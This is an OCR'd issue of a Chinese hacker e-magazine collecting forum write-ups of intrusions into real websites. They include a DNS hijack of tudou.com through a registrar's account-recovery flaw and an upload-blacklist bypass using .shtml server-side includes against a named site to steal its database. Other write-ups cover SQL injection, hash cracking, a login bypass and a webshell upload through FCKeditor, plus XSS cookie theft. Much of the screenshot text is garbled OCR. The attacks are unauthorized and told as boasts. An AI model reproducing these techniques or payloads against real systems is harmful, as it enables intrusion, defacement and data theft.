Security Reference HACKCTO-201507-31

XIN MK ALTONI

安全参查



致我们终将逝去的青春

WANKILIA

H

KILA MIL



# - 長知平台 - 智能硬件漏洞征集令 - 6.25-8.31

# 智能硬件免费送 单个漏洞最高2万 每年3名 Defcon 全程之旅



」解更多,请关注 阿里云安全微信公众号



# 主办单位

《安全参考》杂志编辑部

# 协办单位

(按合作时间先后顺	序排列)
法客论坛	www.f4ck.org
网络安全攻防实验室	www.91ri.org
C0dePlay Team	www.c0deplay.com
NEURON 团队	www.ngsst.com
中国白客联盟-BUC	chinabaiker.com
APT 安全团队	www.aptsec.net
乌云知识库	drops.wooyun.org
网络尖刀	www.ijiandao.com
安全脉搏	www.secpulse.com
安全盒子	www.secbox.cn
纳威导航	navisec.it
360 播报平台	bobao.360.cn
阿里安全响应中心	security.alibaba.com
京东安全响应中心	security.jd.com

# 编辑部成员名单

总	编	辑	xfk	xfk	
主		编	DN	1_	Slient
责	壬编	辑			

桔子 游风 仙人掌 静默 Rexy

## 特约编辑

梧桐雨 Yaseng Akast jumbo Striker Bywuxin Farkas 曲子龙 神雕侠 小续

**封面设计**杨凡

# 关于杂志

杂志编号:	HACKCTO-201507-31
官方网站:	www.hackcto.com
官方微博:	http://t.qq.com/hackcto
投稿邮箱:	xfkxfk@hackcto.com
读者反馈:	xfkxfk@hackcto.com
出版日期:	每月 15 日
电子杂志:	免费

# 广告业务

总编辑:	xfkxfk
联系 Q Q:	2303214337
联系邮箱:	xfkxfk@hackcto.com

# 邮购订阅

总 编 辑:	xfkxfk
联系 Q Q:	2303214337
联系邮箱:	xfkxfk@hackcto.com

# 团队合作/发行合作

总 编 辑: xfkxfk 联系 Q Q: 2303214337 联系邮箱: xfkxfk@hackcto.com

# 广告/彩页招租(免费)

招租内容: 宣传广告, 宣传彩页等 服务类型: 免 费 总 编 辑: xfkxfk 联系 Q Q: 2303214337 联系邮箱: xfkxfk@hackcto.com 目 录

第1节	记一次劫持土豆网-回忆录	2
第2节	对某网站的一次未完成渗透	7
第3节	一次突破后台验证到拿 webshell	12
第4节	一次 xss 后两种方法后台过 fck2.6.4.1 拿 shell	17
第5节	Linux 内网渗透的思路	32
第6节	记一次未完成的渗透	52
第 <b>7</b> 节	渗透流水账(关于 3389 与 NLA)	59
第8节	Discuz X 用 uc_key getshell exp 与 uc_key 重置论坛密码总结	62
第9节	Dede 后台没有文件管理器时拿 shell 方法	70
第10节	看程序员怎么玩渗透	71
第11节	对悠悠校园办公管理平台的一次渗透	77
第12节	内网渗透中跨 vlan 渗透的一种思路	86
第13节	Discuz x3 曲折删帖	93
第14节	渗透某大学,激情六杀!	98
第15节	渗透 Thinkphp 源码包服务器	113
第16节	一次多思路的渗透	117

## 第1节 记一次劫持土豆网-回忆录

### 作者: mibboy

来自:法客论坛 - F4ckTeam

## 网址: http://team.f4ck.net

## 1.挖到漏洞的起因

事情要从今年 5 月 12 日【汶川地震纪念日】说起~ 相信每个黑阔最想日的都是自己的学校网站把?我当然也不例外。 于是乎对自己的学校进行了一次渗透。 在学校网站上翻来翻去没招到可以直接利用的地方,真实郁闷。 漏洞是伪静态的,没找到有注入的地方,xss 也被过滤的很好。 哈哈,最后想到了一个好思路,听我慢慢道来~~~ 以前有社工过管理邮箱,不过第二天就被改密码了。 因为有了社工过的资料,就最后想到了去社工客服~~~ 查了查 whios,是新网互联的。 啊,网上好像没有什么社工新网互联的文章啊。 然后我去找回密码看看,看看可否回答问题找回密码。 这个时候就被我挖到了一个可以劫持几万个网站的漏洞把。

#### 2.开始寻找目标网站劫持

K名 WHUB旦间上兵

我当时就激动的发了个微博,当时很多人对此只是笑我,没有几个人相信。 后来发现,凡是在新网互联购买域名的网站都可以劫持,漏洞原理也是比较简单,明文传输。 类似于中间人攻击吧。后来通过站长工具 whios 查询,查询了一些国内比较出名的网站,结 果土豆网不幸中招了!如图 1-3-1:

NEW 从班旦问 | 大键问|

Security Team

请输入要查询的域名	tudou.com	查询
tudou.com 相关查询: <u>过期域名查询 <mark>域名删除</mark></u>	时间查询 IP地址查询 PR查询 网站收录查询	Alexa排名查询 友情链接检测
域名:tudou.com <u>访问此网站</u>		
注册商:BEIJING INNOVATIVE LINKAGE TE(	HNOLOGY LTD. DBA DNS.COM.CN	
域名服务器:whois.dns.com.cn		
DNS服务器: NS1.TUDOUDNS.COM		
DNS服务器:NS2.TUDOUDNS.COM		
DNS服务器: NS3.TUDOUDNS.COM		
DNS服务器: NS4.TUDOUDNS.COM		
域名状态:ok		
更新时间: 2013年03月10日		
创建时间:2004年07月12日		
过期时间:2016年07月12日		
联系人: catherine jiang		
联系方式: yzhu@tudou.com		

新网互联找回密码需要用户名,但是他找回用户名的流程有点奇葩,只需要提供域名即可。 木有错,只要域名就可以找回用户名,干脆直接用域名当用户名得了。 如图 1-3-2:

1 <del>3</del>		知道问题明知
找回会员号		多改成功
您的会员号为:		
hy303571		
确认		
1、如有任何疑问,请致电:95105612	CC 4CK	<b>R</b>
	<sup> 技 国会 最 号</sup> 您的 会 员 号 为 : <b>     hy303571</b> 確 认 1. 如 有 任 何 疑 问 , 请 致 电 : 95105612	は 日会気号 您的会员号为:

图 1-3-2

接着,找回邮箱的时候抓包,发现明文记录了原本的邮箱。 我果断改回了自己的邮箱,然后 post。 如图 1-3-3~图 1-3-6:

	密码		和重可能清晰的1 : 951056
1 monte	2 come	3 重用空间	4 #augu
		0	
	影响设计	日1.201 获取检证的	加至的
	*验证师 下一步		FACK G Security Team
		た记密码 たいのでのでのでのでのでのでのでのでのでのでのでのでのでのでのでのでのでのでので	たごできたいです。 たいではないです。 たいではないので、 たいです。 たいではないので、 たいです。 たいです たいで たいで たいで たいで たいで たいで たいで たいで たいで たいで



第 3 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日 电子杂志: 免费





图 1-3-4



图 1-3-5



图 1-3-6

然后拿到了土豆网的域名管理的权限~~~如图 1-3-7:

欢迎访问新网互联官方	网站,我	们竭诚为您服务						<b>□</b> 36号£	苑
🏠 会员中心首页		후 域名业务	当前账户余额: 0元	港	腰充值				
👌 域名业务									
我的城名 城名安全服务 <sup>10000</sup> 城名转入 转入状态查询		<b>國督获全界</b> 年末特别策划	<b>阿马克王</b>	服务学		上线		ang Hugu con MANAN compolet ats	
旧cn域名资料提交		🕜 Vip	吸别管家服务—账户变动短信通	知		<b>左</b> 身 弗爾斯 ¥	- 1		
虚拟专用DNS管理 过期域名管理 国际域名在线转移 域名转出 域名过户 cn域名夏末病治		<ul> <li>全部域名 急需</li> <li>请先认真阅读《域3</li> <li>全部域名</li> </ul>	★ STIRPACIENT 使名信息不准置。 很别安全保障一线名锁定转不; 法费城名 过期域名管理 3法费业务须知》,在进行业务/ ▼ cn域名注册成功后,	8 主 <u>处理</u> 域名社册 需要到"洋塘"里	了解更了 <b> 完成后请尽快完</b> 用通解析服务,才可	<b>龙材料上传</b> 取以正常使用	mac	S	
🗐 信息名址	3	序号 域 名	产品名称	状态	申请日期	到期日期	续费	自动续费	详细信息
信息名址管理		2 tudoudns.c	om 英文国际域名	未上传资料	2007-05-08	2014-05-08	续费	自动续费	详情
▶ 无线应用	Ξ	1 tudou.com	n 英文国际域名	未上传资料	2004-07-13	2016-07-13	续费	自动续费	详情
雨滴产品管理					er.1112477			T	7 41
郵 主机业务	Ξ	[1][2][3][4][5]							
主机管理		付款方式说明	· 稿付款支付 左续支付 銀行	体影 机局汇款 3		@ (soo큐ULE)			<b>IECU</b>

图 1-3-7











图 1-3-9

欢迎访问新网互联官方	网站,我	们竭诚为您服务							
🏠 会员中心省页		₽ 修改会员信息	ᆀ	前账户余	额:0元	我要充值			
🔒 域名业务	Ξ								
我的域名		会员信息							
域名安全服务 💷		会员	뮹:	men	1				
域名转入		公司名称(中文	) :	上海全土	豆网络科技	有限公司 修改公司名称			
转入状态查询		公司 冬森 ( 苗 寸	<u>،</u> ،	SHANG					
旧cn域名资料提交			-	-		TODOO NETTIONN SOLENCE AND TECHNOL			
虚拟专用DNS管理		您所在地边	≤ ;	中国-上	海 - 上海市				
过期域名管理		公司地址(中文	) :	上海市街	余汇区茶陵北	出路20号6号楼			
国际域名在线转移		公司地址(英文	) :	: Shanghai					
域名转出		由区 伯	肩 ;	200032					
或名过户 cn域名夏末疯抢		联系人姓名(中文	) :	-	-				
■ 信息名址	Ξ	联系人姓名(英文	) :	Catheri	ne Jiang	🕕 例:张小明,英文姓名:xiaoming Zhang			
信息名址管理		电计	舌:	86	- 21	- 51702355 - 6650 (1)国家一区号一部			
1 无线应用	3	传耳	Į ;	86	- 21	- 51702383 -			
雨滴产品管理		手も	1			已绑定			
🗾 主机业务	Ξ	用户的电子邮件	+ :	ilonala(	Studou com	已绑定			
主机管理		所在行业	¥ :	IT业					
ICP备案						确定保存			
魔方网站管理						<b>L</b> Security Team			

图 1-3-10

因为没有找到合适的服务器劫持。所以就提交给了乌云网。

但是厂商一直不来认领,然后看到新网互联的厂商一直积极忽略漏洞。

于是乎, 第二天, 也就是 5 月 12 日的当晚, 我便开始劫持之旅!

## 3.劫持开始

这次风波也让我看清了不少人,在这之前,我想找人借我个服务器来劫持下,没有一个人肯 借我,不是说没有,就是说我很忙到时候给你之类敷衍的话。

擦,平时看他们写文章,劫持 XX 黑客论坛 XX 黑客网,社工 XX 网的时候。妈的服务器从来 不缺少过。

没办法,然后我找到了去年一次无意间测试一个 Oday 提权后得到的韩国服务器,管理员偶尔才上一次线,以至于服务器直到现在我的帐号都没被删。

然后开始劫持时失败了, 土豆网的域名解析不了, 然后我去找雨路, 雨路很慷慨的给了个我临时空间, 叫我传黑页, 其余他帮我弄。不过还是失败了。

后来才晓得有一个步骤错了。

接着我又试了试还是不行,然后,我去洗澡,洗完澡后,发现了雨路告诉我,劫持成功了, 我去看了看土豆网,页面果然已经 404 了。

当然,只是说明劫持了,但是因为各种问题黑页没能正常解析。

后来我发现雨路把我删了, 删了我 QQ 好友, 事后他说是因为怕被查水表, 叫我收手吧。

### 4.装 B 的开始

当时啊 D 知道了我要劫持,也劝我别玩了,小心被抓怎样的。 然后我自己一个人弄了 2 小时,成功劫持了。 修改解析 IP 后,大概 15 分钟左右就生效了。 接着,我看到微博上已经有人注意到了土豆网被劫持。 为了不造成太大影响,我劫持了土豆网也就不1小时多而已。 剑心告诉我,厂商的人已经确认漏洞了,叫我赶快恢复。 然后我恢复了,我觉得有些过火了,赶快发了封邮件给土豆网的运维的人道歉,但是新网互 联的人,我一直联系不上。 后来我看到漏洞果然被厂商确认了,新网互联的人找我索要联系地址说要发礼物。 我犹豫了一下,填了。 土豆网的运维小伙加了我 QQ。叫我别再弄了,我已经成功在半夜把两家公司的运维都吵醒 了。 第二天,土豆网的运维小伙说,他们部门是不再追究了,不过领导就不知道了。叫我放心吧, 应该不会有事的,我没啥在意。过了一会儿,他发了一截图给我看。 截图内容是新网互联的官方微博,微博内容大概说是,因为这次劫持,他们已经报案了。 我擦,我可是留了真实的联系方式啊,这钓鱼查水表啊~~~~

后来不少人开始喷我了,说我装 B 活该被查水表,说我借乌云网当保护伞,骂我不配做白帽 子。

反之,我的微博粉丝暴涨,评论和@我的人也每秒再增加。

我没有想到事态的严重性已经超出我预料的范围。

然后我的乌云网的号被封了,问了下剑心,他也是无奈之举,因为好事者把这件事全部推给 了乌云网,说乌云网的人就这样,提交漏洞后就去入侵网站,出了事就拿白帽子来当挡箭牌。 我哭笑不得啊。

第三天,土豆网的人告诉我,我没事啦。他们大事化小小事化了,新网的人估计也是怕土豆 网的人告他们,所以发了个微博平息一下这件事。

或许并没有真的报案吧~

事后,我查了查,发现搜狗拼音的官方网也是新网互联的……一条漏网之鱼。 (全文完)责任编辑: 桔子 责任主编: xfkxfk

## 第2节 对某网站的一次未完成渗透

作者: Learn

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.net

本人纯菜鸟,希望跟大家共同进步,谢谢~

算是有亮点吧。

因为没有完成渗透,所以不打码了。

花了2个多小时只能到这里了。

Web cruiser 的漏洞扫描结果如图 1-5-1:

🔯 http://xmtce.com/newsbytype.asp?NewsType=安全生产	NewsType	GET	http://xmtce.com	Cross Site Scripting(URL)
🔯 http://xmtce.com/culturebytype.asp?CultureType=	CultureType	GET	http://xmtce.com	Cross Site Scripting(URL)
😳 http://xmtce.com/partybytype.asp?PartyType=廉政建设	PartyType	GET	http://xmtce.com	Cross Site Scripting(URL)
📀 http://xmtce.com/itembytype.asp?ItemType=在建项目	ItemType	GET	http://xmtce.com	Cross Site Scripting(URL)
🔀 http://xmtce.com/company3.asp	SearchStr	POST	http://xmtce.com	Cross Site Scripting(Form)
😳 http://xmtce.com/download.asp?FileType=下载中心	FileType	GET	http://xmtce.com	Cross Site Scripting(URL)
1				

图 1-5-1

用爬虫爬不到什么敏感文件,

所以用以字典为基础的目录扫描器。pk 得到的结果中发现有狗,如图 1-5-2:

第 7 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日 电子杂志: 免费

网站防火墙							
<mark>您请求的页面包含一些不合理的内容,已被网站管理员设置拦截!</mark> 可能原因:您请求的页面包含一些不合理的内容							
如何解决:							
1)检查请求的页面内容;							
2) 如网站托管,请联系空间提供	商;						
3) 普通网站访客,请联系网站管	理员;						
	[安本物网站安本夫宏]	යිලිකා					
	<u>1女子们们刚姐女子乡狱</u> ]						
图 1-5-2							

其它就没啥了,除了图 1-5-3:

31 http://xmtce.com/admin/uploadfile.asp 存在该资源 | 2013/6/24 星期— .

图 1-5-3

大概是一般的漏洞扫描器无法检测上传漏洞,或者说效果不好,所以可能这里有机会。 打开该页面,如图 1-5-4:

		□ 保存	■关闭
	上传附件		
附件:	浏览 *		

图 1-5-4

这是一处不需要身份认证的文件上传页。用 burpsuite 的 repeater 模块来进行测试,试着上 传 asp,如图 1-5-5:

```
Content-Disposition: form-data; name="file"; filename="1.asp"
Content-Type: text/plain
```

+ < >

## response

raw headers hex html render

HTTP/1.1 403 Forbidden Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Mon, 24 Jun 2013 08:59:05 GMT Content-Length: 1157

图 1-5-5

出现 403 错误,奇怪。。 接着上传 abc,如图 1-5-6:

-----7dd289324079c Content-Disposition: form-data; name="file"; filename="1.abc" Content-Type: text/plain + < > response raw headers hex html render Set-Cookie: ASPSESSIONIDQQATARDQ=MDNNFAAAPLDOPPBBONGDKOCO; path=/ X-Powered-Bv: ASP.NET Date: Mon, 24 Jun 2013 09:02:41 GMT <script language=javascript>window.opener.document.forms[0].elements[''].value='20130624170242.abc';w :</scrint> 图 1-5-6 结果提示成功,说明是黑名单过滤机制。上传 Jspphpcerasa 等等都是 403 错误。 接着发现 shtml 可以上传,而且 web server 支持。利用 include 指令,包含上传处理文件 uploadfile.asp, 如图 1-5-7: Content-Disposition: form-data; name="file"; filename="1.shtml" Content-Type: text/plain <!-- #include file="../uploadfile1.asp"--> --7dd289324079c Content-Disposition: form-data; name="file" + < > response raw headers hex html render Set-Cookie: ASPSESSIONIDQQATARDQ=ODNNFAAAGMNAFLPPECBAPNHE; path=/ X-Powered-By: ASP.NET Date: Mon, 24 Jun 2013 09:05:09 GMT <script language=javascript>window.opener.document.forms[0].elements[''].value='20130624170510.shtml';win e();</script> 图 1-5-7 找这个 shtml 文件的路径, 没遇到多大困难, 如图 1-5-8: 30 http://xmtce.com/admin/upfile | 资源不可用 | 2013/6/24 星期 如上图 Pk 之前扫到了这个目录,猜就是上传文件的目录 访问看一下 ) 篆: http://xmtce.com/admin/upfile/20130624152435.shtml - Mozilla Firefox 文件 @ ) 编辑 @ ) 查看 (V ) 帮助 (H) 1 <%@LANGUAGE="VBSCRIPT"%> 2 <%Option Explicit%> 3 <%Response.Expires=0%> 4 🔇 5 '--6 '转发时请保留此声明信息,这段声明不并会影响你的速度! 无惧上传类 V2.0 7 \* where the president of 8'作者:梁无惧 9 °网站:http://www.25cn.com 10 °电子邮件:yjlrb@21cn.com 11 ,版权声明:版权所有,源代码公开,各种用途均可免费使用,但是修改后必须 12 ′发送一份给作者.并且保留作者此版权信息 14 **'----**

图 1-5-8

代码中黑名单设置如图 1-5-9:

4 upfile.NoAllowExt="asp;exe;htm;html;aspx;cs;vb;js;" '设置上传类型的黑名单

图 1-5-9

只过滤了 asp aspx, cer 和 asa 都没过滤,为什么不能上传呢?应该是因为狗吧。

现在我们能够包含任意已知文件了。包含根目录下的 news.asp, 如图 1-5-10:

Response.Buffer = True '缓存页面

'防范get注入

If Request.QueryString 🔷 "" Then StopInjection(Request.QueryString)

'防范post注入 If Request.Form 🔷 "" Then StopInjection(Request.Form)

防范conkies注入

'If Request.Cookies 🔷 "" Then StopInjection(Request.Cookies)

'正则子函数

Function StopInjection(Values) Dim regEx Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "#|([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else| Dim sItem, sValue For Each sItem In Values cValue = Valuec(cItem)

图 1-5-10

嗯。。。大小写不敏感,过滤得挺严的。 惊喜的是这句代码,如图 1-5-11:

strConn = "DRIVER=Microsoft Access Driver (\*.mdb);DBQ=" & Server.MapPath("admin/tcefhudsih.mdb'

图 1-5-11

哇哦,数据库是 access 的,数据库文件的地址也知道了,快下载。。 居然提示 404, 如图 1-5-12:

404-找不到文件或目录。

您要查找的资源可能已被删除,已更改名称或者暂时不可用。

图 1-5-12 没找到。。。不可能啊。。。数据库链接都没有报错~目测是狗干的。 然后想一想,利用 shtml 把这个 mdb 包含进来,如图 1-5-13:

-----7dd289324079c Content-Disposition: form-data; name="file"; filename="1.shtml" Content-Type: text/plain <!-- #include file="../tcefhudsih.mdb"--> ---7dd289324079c Content-Disposition: form-data; name="file" + < > response raw headers hex html render Set-Cookie: ASPSESSIONIDSQDTBTCQ=FMLPHHAAMIOFGAPLKKNHOANA; path=/ X-Powered-By: ASP.NET Date: Mon, 24 Jun 2013 09:19:10 GMT <script language=javascript>window.opener.document.forms[0].elements[''].value='20130624171911.shtml'

图 1-5-13

打开之后有点卡。查看源代码,然后保存为 mdb,打开~如图 1-5-14:





好了,管理员用户名知道了,而且是明文。

用法客的目录扫描工具找到了后台登陆地址,如图 1-5-15:

http://xmtce.com:80/admin/logon.asp HTTP/1.1 200 OK

图 1-5-15

好啦。。。。进入后台,如图 1-5-16:



第 11 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日 电子杂志: 免费

== 只有刚才那处上传,有狗怎么过呢? 找子系统——编辑器。。 额。。。居然是图 1-5-17 这种情况:

<img src="icons/img.gif" TITLE="插入图片" onclick="javascript:insertImage()" WIDTH="16" HEIGHT="16">
<img src="<u>Kimages/k-file.gif</u>" TITLE="插入附件" onclick="javascript:insertFile();" WIDTH="16" HEIGHT="16">
<img src="<u>icons/hr.gif</u>" TITLE="插入水平线" onclick="javascript:format('InsertHorizontalRule');" WIDTH="16" HEIGHT="16">
</mr>

图 1-5-17

== 都是自己实现的??? 暂时无解了。。。 (未完待续)责任编辑: 桔子 责任主编: xfkxfk

## 第3节 一次突破后台验证到拿 webshell

作者: Strive

来自:法客论坛 - F4ckTeam 网址:http://team.f4ck.net

前段时间拿的一个站,因为菜鸟我技术有限,所以卡了好久,后台一直过不去。 现在终于捅了他,和大家分享一下经验,如果觉得简单啥的不要喷我。 用 safe3 扫一扫扫到注入点,果断开萝卜头神器爆菊注入. 如图 1-7-1 和图 1-7-2:

3月17日2日2月11日 ● W1包含: W1包含: W1包含: W1物語: Logout W1物語: Logout W1物語: Logout M111型目2月11 ● W1電定向 ● POST解析 ● 上传編网 ● 登录   后台 ● 潜在編网 ● 詳它編网 ● 詳它編网 ● 詳定編网 ● Informe ● Datic ● Digest ● Digest ● THM ● Domain: ● THM ● Domain: ● THM ● Domain: ● THM ● THM ● Domain: ● THM ● THM	扫描		GET	www.blitte		10:00:415			http://
的状态 图 188行:59		nume: eord: in:	LE Usernane: Password: Domain:	VNone Basic Digest	♥IXSS時站 ●登录1后台 ●其它羅商	■[ALG-W] SQL注入 □上传羅网 □潜在羅网	Prost解析	₩1重定向	imota Jawascript <del>就取Cookie</del> い1包含: い1物涂:
							周: 1	援	1118行: 59
編詞整示(可右諸夏制或导出數据) p://www.www.www.com/banshi.php?fid=15 可能存在sql注入編詞						sql注入漏洞	?fið=15 可能存在	#夏制或导出数据) 	氟间显示。同右轴 p://

#### 图 1-7-1

🔗 Havij				- 0 ×
Target: [h ☐ Keyword: [A Database: [A Post Data: [	http://www.com/and/and/and/and/and/and/and/and/and/and	guery banshi.php?fid=15 Syntax: Auto Detect Method: GET Type: Auto D	And Detect V	alyze Pause
About Ir	nfo Tables	Read Files Cmd Shell Query Fin	nd Admin N	MD5 Setting:
adlink config conte ddzt ddzt ddzt mana id mana id P pa ist	<_item	password 734c1757e2025f2e226a70f2feecf637 999b187c674418871226aba7f92f18d2 e10adc3949ba59abbe56e057f20f883e	name admin ceshi jczn	
Status: I'm IDLE Data Found: pass Data Found: name Data Found: pass Data Found: name	word=999b187c674 e=ceshi word=e10adc3949b e=jczn	418871226aba7f92f18d2 a59abbe56e057f20f883e		Clear Log
•		你的眼中只有我		4

图 1-7-2

解密 admin 的 md5 后得到!ff2013,杀到后台填入帐号和密码发现错误,我靠?不是吧,问 了几个牛他们估计不太搭理我,说可能是假后台,于是我再寻找,发现没啥其他管理页面了, 于是我就再从后台找突破点。发现填入后他是直接显示错的,如图 1-7-3:

鼎维iPower CMS 网站管理系统登录	
用户名:admin	
密 码: •••••	
管理登录 登录验证失败!	

图 1-7-3

也去网上找了这个 cms 的 exp,发现菊花太紧,干不进去。 于是右键看了下源代码,如图 1-7-4:

or="#ff0000">登录验证失败。</font>';

or="#ff0000">登录验证失败!</font>';

or="#ff0000">验证码错误!</font>';

or="#336600">验证成功!请稍候</font>';

图 1-7-4 再看了下登录页面,我操!?验证码在哪里? 于是再往下看,如图 1-7-5: . . . . . . . if (ret == "-1") { document.getElementById('btn\_login').disabled= document.getElementById('loginmsg').innerHTML document.getElementById('username').focus(); return; }else if(ret == "-2"){ showVCode(); document.getElementById('btn login').disabled= document.getElementById('loginmsg').innerHTML document.getElementById('username').focus(); }else if(ret == "-3"){ showVCode(); document.getElementById('btn\_login').disabled= document.getElementById('loginmsg').innerHTML document.getElementById('vcode').focus(); delse if(ret == "1"){ document.getElementById('loginmsg').innerHTML top.location.replace('/m/');

}

图 1-7-5

IP 是局部变量 IP 永远为1 直接是 return 了限制了,不论怎么做都是验证失败,伤脑筋。 但是验证成功后是会跳转到 m 这个目录的,如图 1-7-6:

图 1-7-6

后来进过一个朋友的指点,发现如图 1-7-7:

第 14 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日 电子杂志: 免费

var url = /m/manager/login.xml.php ;

pars = "username="+document.getElementById('username').value+"&password="+document.getElementById('password').value+"&vcode="+document.getElementById('vcode').value+""; document.getElementById('loginnsg').innerHIML = '<font style="font-size:12px;">正在验证用户身份……</font>';

图 1-7-7

这里有一个 get 请求,请求的页面是: varurl = "/m/manager/login.xml.php"

于是访问了下,如图 1-7-8:

← → C fi			Jen/m/ma	nager/logi	n.xml.php			
🗋 hack Tools  🗋	ナー博客	🕻 百度搜索	8 Google	Q 360搜索	し 必应搜索	觉 新浪微博	F Faceboo	k
A 此网页为 英	£文 ▼ 网♂	瓦,是否需要	要翻译?(	翻译 否				
This XML file	does not	appear t	o have any	v style int	formation a	associated	with it.	Th
<v>-1</v>								

图 1-7-8 发现 V 标签里面是-1,就是说验证失败了,成功的话应该是 1。 于是我在 url 后面加上了帐号和密码。 如图 1-7-9:

← ⊣	C	<b>f</b>				/m/m	anager/	logi	in.xml.php	?username=	adm	nin&p	assw	ord=!ff20	13
🗀 had	k Tools	; 🗀	大牛博客	🞽 百度搜	索 <mark>8</mark>	Google	<b>Q</b> 360	叟索	<mark>し</mark> 必应搜索	觉 新浪微博	f	Facebo	ok [	🖹 百度贴吧	3
This	XML f	ïle	does no	ot appear	to h	ave an	y style	in	formation	associated	wit	h it.	The	document	t
<v>1</v>		$\geq$													

图 1-7-9

发现这回验证成功了,于是改成挑战后的 m 的目录。

发现还是不行,应该是还差一个验证码,于是我就在源代码里面发现有个 showVCode()的函数,应该是控制的验证码。

于是我就在登录页面地址栏里面输入 javascript:showVCoode(),发现成功出现验证码,记住 验证码,我再访问:

http://www.xxxx.com.cn/m/manager/login.xml.php?username=admin&password=!ff2013&vcod e=54713。后面那个是验证码,然后再登录,发现标签还是1。 于是转成 m 目录,发现成功进入后台。 如图 1-7-10:

<ul> <li>□ hack Tools □ 大牛博客 図 百度搜索 ⑧ Google Q 360搜索 □ 必应搜索 ⑧ 新浪微博 ♀ Facebook</li> <li>● Power CMS 网站内容管理系统</li> <li>■ admin 欢迎您登录本系统 退出登录</li> <li>■ 首页 专题信息 内容管理 图片管理 留言信息 友情链接 站点配置 数据备份 在线报名 日志记录</li> <li>● 方野信息</li> <li>● 方野信息</li> </ul>	k [
Power CMS 网站内容管理系统           admin 欢迎您登录本系统 退出登录             首页 专题信息 内容管理 图片管理 留言信息 友情链接 站点配置 数据备份 在线报名 日志记录	管 <u>t</u>
admin 次迎您登录本系统 退出登录	管理
Image: The system of the s	管理
ち 新信息 内容管理 管理员便签	
联系方式等信息类栏目的栏目 联系方式等信息类栏目的栏目 计分子分子	
结构和信息内台。 结构和信息内台。	
▲● 图片管理	
发布、管理企业介绍、新闻、查看用户留言反馈信息。	
联系方式等信息突在目的在目 结构和信息内容。	
PHEP程式版本	:
管理维护网站的广告以及发情 查看、设击站点配击信息。 服务器时间:	
服务器端信息	<u>]</u> :
备份下载网站数据库,还原网     查看用户留言反馈信息。     私がに	
2523変現 の 2523変更 2523 2523 2523 2523 2523 2523 2523 252	
▶ 日志记录 ● 管理品管理	

图 1-7-10

好了,现在要拿 shell 了。于是我就就翻了翻,发现上传是 fckeditor。网站配置这里也有,如图 1-7-11:

Feb ( Feb at )	
文件上传:	
允许上传的其他文件类型:	*.php*.php;.jpg*.doc;*.ppt;*.xls;*.mdb;*;*.exe;*.cdx;*;.jpg.asp;**.txt;
流重统计配置:	3026858

提交

图 1-7-11

更改后缀的,于是各种胡改~~~ 走你~ 发现上传不了!! 郁闷~~~ 看来是过滤到家了。 解析漏洞也不行,于是想到以前有看过可以用别的编码方式来代替一些符号。 于是我就用小葵转换工具把;转换成了%3B,上传后发现可以成功解析。 如图 1-7-12:

#### 图 1-7-12

## 于是打开菜刀,一句话连之,如图 1-7-13:

🔟 📖 中国菜刀@TNTHK 📃 🛅 http://w		eute 💼 cn/file 🛨					
🛅 D: V					土 🖌 读明	1	Į
203. 93. 106. 36 目录 (26), 文件 (25)	名	称	时间	大小	属性		Ξ[
Ξ 🥯 📴	^ 🛅	\$RECYCLE.BIN	2011-08-25 00:18:22	0	0777		
🖃 🚞 www.root		360	2012-02-03 12:00:27	0	0777		~
🖃 🚞 zyjdzx		360Downloads	2013-03-15 14:23:21	0	0777		U F
🖃 🧰 files. upload	6	back	2012-12-11 22:06:58	0	0777		6
20130605_09493878	6	d6027f08a474a0d9	2012-12-11 14:07:48	0	0777		
i back		data	2012-10-12 17:53:59	0	0777		
zyjdzxdata 	6	FILES	2012-02-08 14:44:05	0	0777		
	6	Internet_Download	2012-02-01 08:58:16	0	0777		
- 360		Microsoft SQL Serv	2013-03-01 16:10:53	0	0777		
a 360Downloads		MicrosoftOfficev200	2011-08-29 11:39:13	0	0777		
ack		MSOCache	2011-08-29 11:39:35	0	0555		
		MyDrivers	2012-12-11 14:29:14	0	0777		
🛅 data		mysql-5.0	2011-08-27 12:39:33	0	0777		
🚞 FILES		navicat	2011-08-27 12:39:16	0	0777		
🚞 Internet_Download_Manager		office2003	2011-08-27 01:35:44	0	0777		
🚞 Microsoft SQL Server 2005 硬盘版 X		phpmysql	2011-08-27 15:10:53	0	0777		
🚞 MicrosoftOfficev2003520		Program Files	2013-03-15 14:24:37	0	0777		
m MSOCache		RECYCLER	2011-08-29 10:46:50	0	0777		
C MyDrivers		System Volume Info	2011-08-27 13:43:10	0	0777		
mysq1-5.0	- 🗅	windows	2011-11-04 12:22:40	0	0777		
navicat	6	www.root	2013-06-05 20:58:32	0	0777		
<pre>office2003</pre>	<ul> <li>C</li> <li>C</li></ul>	xampp	2013-01-31 14:30:57	0	0777		
Durania Kilia	6	xamppbac	2011-08-25 00:23:37	0	0777		
BRCYCIER	- 🗀	ZendOptimizer-3.3.9	2011-08-25 01:59:21	0	0777		
<>	/ 🖨	代码及数据库	2013-03-15 14:59:10	0	0777		
ath Not Found Or No Permission!							GB23

## 图 1-7-13

权限还挺大,如果有旁站的话还可以旁站,不过他是独立的,提权始终没有结果。 有兴趣提这个站的朋友可以论坛 M 我! (全文完)责任编辑:桔子 责任主编: xfkxfk

## 第4节 一次 xss 后两种方法后台过 fck2.6.4.1 拿 shell

作者: Isoftlove

来自:法客论坛-F4ckTeam

网址: http://team.f4ck.net/

目标站为 www.xx.com。检测出有注入,不过字段射不出来 后台也找不到,于是想到 XSS 在 网站里面注册一个用户 然后在提意见的地方插入 xss 代码。 今天看到了一个发现,如图 3-1-1:

项目管理 >> 编辑项目	
查看详细信息	
网页标题	"" <mark></mark> " - ¢ól"≠ÜÀ&iac
Url	http://www.emene.cn/emeadmin/Technology.asp?cla
Cookie	ASFSESSIONIDCAAQDAAD=EFNIJBIBDHCLPAPBFPCDPPBM; CNZZDATA2280288=cnzz_eid%3D17827010 46-1370417797-http%253A%252F%252F%%2 x26retime%3D1372301219250%26sin%3D%26ltime%3D1372301219250%26rtime%3D15; Admin=801
	返回
Cookie	Actretimex301312301219250ActosinAsDActoglimex301372301219250A2triimex3015; Admin=601 返回



